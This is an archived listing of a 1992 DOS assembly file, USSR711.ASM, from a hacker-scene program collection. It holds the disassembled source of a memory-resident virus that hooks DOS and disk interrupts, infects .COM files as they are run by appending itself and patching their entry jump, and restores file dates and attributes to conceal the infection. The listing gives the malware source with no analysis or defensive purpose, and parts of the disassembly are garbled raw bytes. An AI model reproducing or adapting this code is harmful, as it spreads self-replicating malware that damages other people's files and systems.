home *** CD-ROM | disk | FTP | other *** search
/ Collection of Hack-Phreak Scene Programs / cleanhpvac.zip / cleanhpvac / ASM-U.ZIP / USSR711.ASM < prev    next >
Assembly Source File  |  1992-10-11  |  9KB  |  385 lines

  1.  
  2. PAGE  59,132
  3.  
  4. ;██████████████████████████████████████████████████████████████████████████
  5. ;██                                         ██
  6. ;██                    USSR711                         ██
  7. ;██                                         ██
  8. ;██      Created:   9-Feb-92                             ██
  9. ;██      Passes:    5           Analysis Options on: AW                 ██
  10. ;██                                         ██
  11. ;██████████████████████████████████████████████████████████████████████████
  12.  
  13. data_1e        equ    20h
  14. data_2e        equ    22h
  15. data_3e        equ    4Ch
  16. data_4e        equ    4Eh
  17. data_5e        equ    84h
  18. data_6e        equ    86h
  19. data_7e        equ    0D9h
  20. data_8e        equ    0DBh
  21. data_9e        equ    122h
  22. data_10e    equ    124h
  23. data_11e    equ    13Ah
  24. data_12e    equ    13Ch
  25. data_13e    equ    441h
  26. data_14e    equ    3
  27. data_15e    equ    12h
  28. data_16e    equ    0
  29. data_17e    equ    0B0h
  30. data_18e    equ    0B2h
  31.  
  32. seg_a        segment    byte public
  33.         assume    cs:seg_a, ds:seg_a
  34.  
  35.  
  36.         org    100h
  37.  
  38. ussr711        proc    far
  39.  
  40. start:
  41.         jmp    loc_1
  42.         int    21h            ; DOS Services  ah=function 00h
  43.                         ;  terminate, cs=progm seg prefx
  44.         call    sub_1
  45.  
  46. ussr711        endp
  47.  
  48. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  49. ;                   SUBROUTINE
  50. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  51.  
  52. sub_1        proc    near
  53.         pop    bx
  54.         xor    di,di            ; Zero register
  55.         mov    si,bx
  56.         sub    si,3
  57.         mov    ax,4B04h
  58.         int    21h            ; ??INT Non-standard interrupt
  59.         cmp    ax,44Bh
  60. loc_1:
  61.         call    sub_2
  62.  
  63. ;▀▀▀▀ External Entry into Subroutine ▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  64.  
  65. sub_2:
  66.         pop    bx
  67.         xor    di,di            ; Zero register
  68.         mov    si,bx
  69.         sub    si,3
  70.         mov    ax,4B04h
  71.         int    21h            ; ??INT Non-standard interrupt
  72.         cmp    ax,44Bh
  73.         je    $+7Dh            ; Jump if equal
  74.         mov    ax,es
  75.         dec    ax
  76.         mov    es,ax
  77.         mov    ax,es:data_14e
  78.         sub    ax,2Ch
  79.         mov    es:data_14e,ax
  80.         sub    word ptr es:data_15e,2Ch
  81.         nop
  82.         mov    es,es:data_15e
  83.         mov    cx,2BBh
  84.         rep    movsb            ; Rep when cx >0 Mov [si] to es:[di]
  85.         cli                ; Disable interrupts
  86.         xor    ax,ax            ; Zero register
  87.         mov    ds,ax
  88.         mov    cx,ds:data_5e
  89.         mov    es:data_11e,cx
  90.         mov    cx,ds:data_6e
  91.         mov    es:data_12e,cx
  92.         mov    word ptr ds:data_5e,126h
  93.         mov    ds:data_6e,es
  94.         mov    cx,ds:data_1e
  95.         mov    es:data_7e,cx
  96.         mov    cx,ds:data_2e
  97.         mov    es:data_8e,cx
  98.         mov    word ptr ds:data_1e,0B4h
  99.         mov    ds:data_2e,es
  100.         mov    cx,ds:data_3e
  101.         mov    es:data_9e,cx
  102.         mov    cx,ds:data_4e
  103.         mov    es:data_10e,cx
  104.         mov    word ptr ds:data_3e,0DDh
  105.         mov    ds:data_4e,es
  106.         sti                ; Enable interrupts
  107.         mov    di,100h
  108.         mov    si,bx
  109.         add    si,2B3h
  110.         mov    cx,3
  111.         rep    movsb            ; Rep when cx >0 Mov [si] to es:[di]
  112.         mov    ax,cs
  113.         mov    es,ax
  114.         mov    ds,ax
  115.         xor    ax,ax            ; Zero register
  116.         mov    si,ax
  117.         mov    di,0
  118.         mov    bx,offset start
  119.         jmp    bx            ; Register jump
  120.         add    bl,[si]
  121.         db     67h, 6Fh, 50h, 2Eh,0A1h,0B2h
  122.         db     00h, 40h, 2Eh,0A3h,0B2h, 00h
  123.         db     2Eh,0A1h,0B0h, 00h, 3Dh, 00h
  124.         db     00h, 75h, 10h, 2Eh, 81h, 3Eh
  125.         db    0B2h, 00h, 74h, 37h, 75h, 07h
  126.         db    0B8h, 02h, 1Ch, 2Eh,0A3h,0B0h
  127.         db     00h
  128.         db     58h,0EAh, 0Ah, 01h, 49h,0D7h
  129.         db     2Eh, 83h, 3Eh,0B0h, 00h, 00h
  130.         db     74h, 3Ch, 80h,0FCh, 03h, 74h
  131.         db     05h, 80h,0FCh, 0Bh
  132.         db     75h, 32h
  133. loc_3:
  134.         test    dl,80h
  135.         js    loc_4            ; Jump if sign=1
  136.         push    ax
  137.         mov    ax,cs:data_18e
  138.         and    ax,3
  139.         pop    ax
  140.         jnz    loc_4            ; Jump if not zero
  141.         push    bp
  142.         add    [bp+si+7Dh],dh
  143.         push    ax
  144.         mov    ax,cs
  145.         mov    ds,ax
  146.         mov    ax,[bp+6]
  147.         push    ax
  148.         popf                ; Pop flags
  149.         stc                ; Set carry flag
  150.         pushf                ; Push flags
  151.         pop    ax
  152.         mov    [bp+6],ax
  153.         xor    ax,ax            ; Zero register
  154.         mov    ds,ax
  155.         pop    ax
  156.         mov    ah,80h
  157.         mov    ds:data_13e,ah
  158.         pop    ds
  159.         pop    bp
  160.         iret                ; Interrupt return
  161. loc_4:
  162. ;*        jmp    far ptr loc_20
  163. sub_1        endp
  164.  
  165.         db    0EAh, 49h, 01h, 08h,0D7h
  166.         cmp    ax,4B04h
  167.         jne    loc_5            ; Jump if not equal
  168.         mov    ax,44Bh
  169.         iret                ; Interrupt return
  170. loc_5:
  171.         cmp    ax,4B00h
  172.         je    loc_7            ; Jump if equal
  173.         cmp    ax,4B03h
  174.         je    loc_7            ; Jump if equal
  175. loc_6:
  176. ;*        jmp    far ptr loc_19
  177.         db    0EAh,0B5h, 02h, 46h,0D5h
  178. loc_7:
  179.         push    ax
  180.         push    bx
  181.         push    cx
  182.         push    dx
  183.         push    ds
  184.         push    es
  185.         push    si
  186.         push    di
  187.         mov    ax,ds
  188.         mov    es,ax
  189.         cld                ; Clear direction
  190.         mov    al,0
  191.         mov    di,dx
  192.         mov    cx,0C8h
  193.         repne    scasb            ; Rep zf=0+cx >0 Scan es:[di] for al
  194.         jnz    loc_8            ; Jump if not zero
  195.         std                ; Set direction flag
  196.         mov    al,2Eh            ; '.'
  197.         mov    cx,0Ah
  198.         repne    scasb            ; Rep zf=0+cx >0 Scan es:[di] for al
  199. loc_8:
  200.         jnz    loc_11            ; Jump if not zero
  201.         inc    di
  202.         inc    di
  203.         mov    al,[di]
  204.         and    al,0DFh
  205.         cmp    al,43h            ; 'C'
  206.         jne    loc_11            ; Jump if not equal
  207.         mov    al,[di+1]
  208.         and    al,0DFh
  209.         cmp    al,4Fh            ; 'O'
  210.         jne    loc_11            ; Jump if not equal
  211.         mov    al,[di+2]
  212.         and    al,0DFh
  213.         cmp    al,4Dh            ; 'M'
  214.         jne    loc_11            ; Jump if not equal
  215.         mov    al,[di-2]
  216.         and    al,0DFh
  217.         cmp    al,44h            ; 'D'
  218.         jne    loc_9            ; Jump if not equal
  219.         mov    al,[di-8]
  220.         and    al,0DFh
  221.         cmp    al,43h            ; 'C'
  222.         je    loc_11            ; Jump if equal
  223. loc_9:
  224.         mov    ax,4300h
  225.         int    21h            ; DOS Services  ah=function 43h
  226.                         ;  get attrb cx, filename @ds:dx
  227.         mov    word ptr cs:[2B4h],cx
  228.         mov    cx,20h
  229.         mov    ax,4301h
  230.         int    21h            ; DOS Services  ah=function 43h
  231.                         ;  set attrb cx, filename @ds:dx
  232.         jc    loc_11            ; Jump if carry Set
  233.         mov    word ptr cs:[2B0h],ds
  234.         mov    word ptr cs:[2B2h],dx
  235.         mov    ax,3D02h
  236.         int    21h            ; DOS Services  ah=function 3Dh
  237.                         ;  open file, al=mode,name@ds:dx
  238.         jc    loc_11            ; Jump if carry Set
  239.         mov    bx,ax
  240.         mov    ax,5700h
  241.         int    21h            ; DOS Services  ah=function 57h
  242.                         ;  get file date+time, bx=handle
  243.                         ;   returns cx=time, dx=time
  244.         mov    word ptr cs:[2ACh],cx
  245.         mov    word ptr cs:[2AEh],dx
  246.         jmp    short loc_12
  247.         nop
  248. loc_10:
  249.         jmp    loc_6
  250. loc_11:
  251.         jmp    loc_16
  252. loc_12:
  253.         mov    cx,3
  254.         mov    ax,cs
  255.         mov    ds,ax
  256.         mov    es,ax
  257.         mov    dx,2B6h
  258.         mov    ax,3F00h
  259.         int    21h            ; DOS Services  ah=function 3Fh
  260.                         ;  read file, bx=file handle
  261.                         ;   cx=bytes to ds:dx buffer
  262.         mov    cx,0
  263.         mov    dx,word ptr cs:[2B7h]
  264.         add    dx,3
  265.         mov    ax,4200h
  266.         int    21h            ; DOS Services  ah=function 42h
  267.                         ;  move file ptr, bx=file handle
  268.                         ;   al=method, cx,dx=offset
  269.         mov    cx,0Ah
  270.         mov    dx,29Bh
  271.         mov    ax,3F00h
  272.         int    21h            ; DOS Services  ah=function 3Fh
  273.                         ;  read file, bx=file handle
  274.                         ;   cx=bytes to ds:dx buffer
  275.         cld                ; Clear direction
  276.         mov    cx,0Ah
  277.         mov    si,29Bh
  278.         mov    di,data_16e
  279.         repe    cmpsb            ; Rep zf=1+cx >0 Cmp [si] to es:[di]
  280.         jz    loc_15            ; Jump if zero
  281.         mov    ax,4202h
  282.         xor    cx,cx            ; Zero register
  283.         mov    dx,cx
  284.         int    21h            ; DOS Services  ah=function 42h
  285.                         ;  move file ptr, bx=file handle
  286.                         ;   al=method, cx,dx=offset
  287.         cmp    ax,6A4h
  288.         jb    loc_15            ; Jump if below
  289.         jmp    short loc_14
  290.         nop
  291. loc_13:
  292.         jmp    short loc_10
  293. loc_14:
  294.         mov    cx,cs:data_18e
  295.         and    cx,0Fh
  296.         add    cx,5
  297.         mov    ax,cs
  298.         mov    ds,ax
  299.         xor    dx,dx            ; Zero register
  300.         mov    ax,4000h
  301.         int    21h            ; DOS Services  ah=function 40h
  302.                         ;  write file  bx=file handle
  303.                         ;   cx=bytes from ds:dx buffer
  304.         jc    loc_15            ; Jump if carry Set
  305.         mov    ax,4202h
  306.         xor    cx,cx            ; Zero register
  307.         mov    dx,cx
  308.         int    21h            ; DOS Services  ah=function 42h
  309.                         ;  move file ptr, bx=file handle
  310.                         ;   al=method, cx,dx=offset
  311.         sub    ax,3
  312.         mov    word ptr cs:[2AAh],ax
  313.         xor    dx,dx            ; Zero register
  314.         mov    ax,4000h
  315.         mov    cx,2BBh
  316.         int    21h            ; DOS Services  ah=function 40h
  317.                         ;  write file  bx=file handle
  318.                         ;   cx=bytes from ds:dx buffer
  319.         jc    loc_15            ; Jump if carry Set
  320.         mov    ax,4200h
  321.         xor    cx,cx            ; Zero register
  322.         mov    dx,cx
  323.         int    21h            ; DOS Services  ah=function 42h
  324.                         ;  move file ptr, bx=file handle
  325.                         ;   al=method, cx,dx=offset
  326.         mov    ax,cs
  327.         mov    ds,ax
  328.         mov    dx,2A9h
  329.         mov    ax,4000h
  330.         mov    cx,3
  331.         int    21h            ; DOS Services  ah=function 40h
  332.                         ;  write file  bx=file handle
  333.                         ;   cx=bytes from ds:dx buffer
  334. loc_15:
  335.         mov    ax,5701h
  336.         mov    cx,word ptr cs:[2ACh]
  337.         mov    dx,word ptr cs:[2AEh]
  338.         int    21h            ; DOS Services  ah=function 57h
  339.                         ;  set file date+time, bx=handle
  340.                         ;   cx=time, dx=time
  341.         mov    ax,3E00h
  342.         int    21h            ; DOS Services  ah=function 3Eh
  343.                         ;  close file, bx=file handle
  344.         mov    ds,word ptr cs:[2B0h]
  345.         mov    dx,word ptr cs:[2B2h]
  346.         mov    cx,word ptr cs:[2B4h]
  347.         mov    ax,4301h
  348.         int    21h            ; DOS Services  ah=function 43h
  349.                         ;  set attrb cx, filename @ds:dx
  350. loc_16:
  351.         pop    di
  352.         pop    si
  353.         pop    es
  354.         pop    ds
  355.         pop    dx
  356.         pop    cx
  357.         pop    bx
  358.         pop    ax
  359.         jmp    short loc_13
  360.         nop
  361.         add    [bx+si],al
  362.         push    ax
  363.         mov    ah,30h            ; '0'
  364.         int    21h            ; DOS Services  ah=function 30h
  365.                         ;  get DOS version number ax
  366.         cmp    ax,1E03h
  367. ;*        je    loc_17            ; Jump if equal
  368.         db     74h, 09h
  369.         stosb                ; Store al to es:[di]
  370.         stosb                ; Store al to es:[di]
  371.         stosb                ; Store al to es:[di]
  372.         stosb                ; Store al to es:[di]
  373. ;*        jmp    loc_18
  374.         db    0E9h, 15h, 00h
  375.         test    ax,3AA5h
  376.         push    ss
  377.         db    0FEh,0B2h,0B9h, 41h, 20h, 00h
  378.         db    0B8h, 00h, 4Ch, 02h, 00h
  379.  
  380. seg_a        ends
  381.  
  382.  
  383.  
  384.         end    start
  385.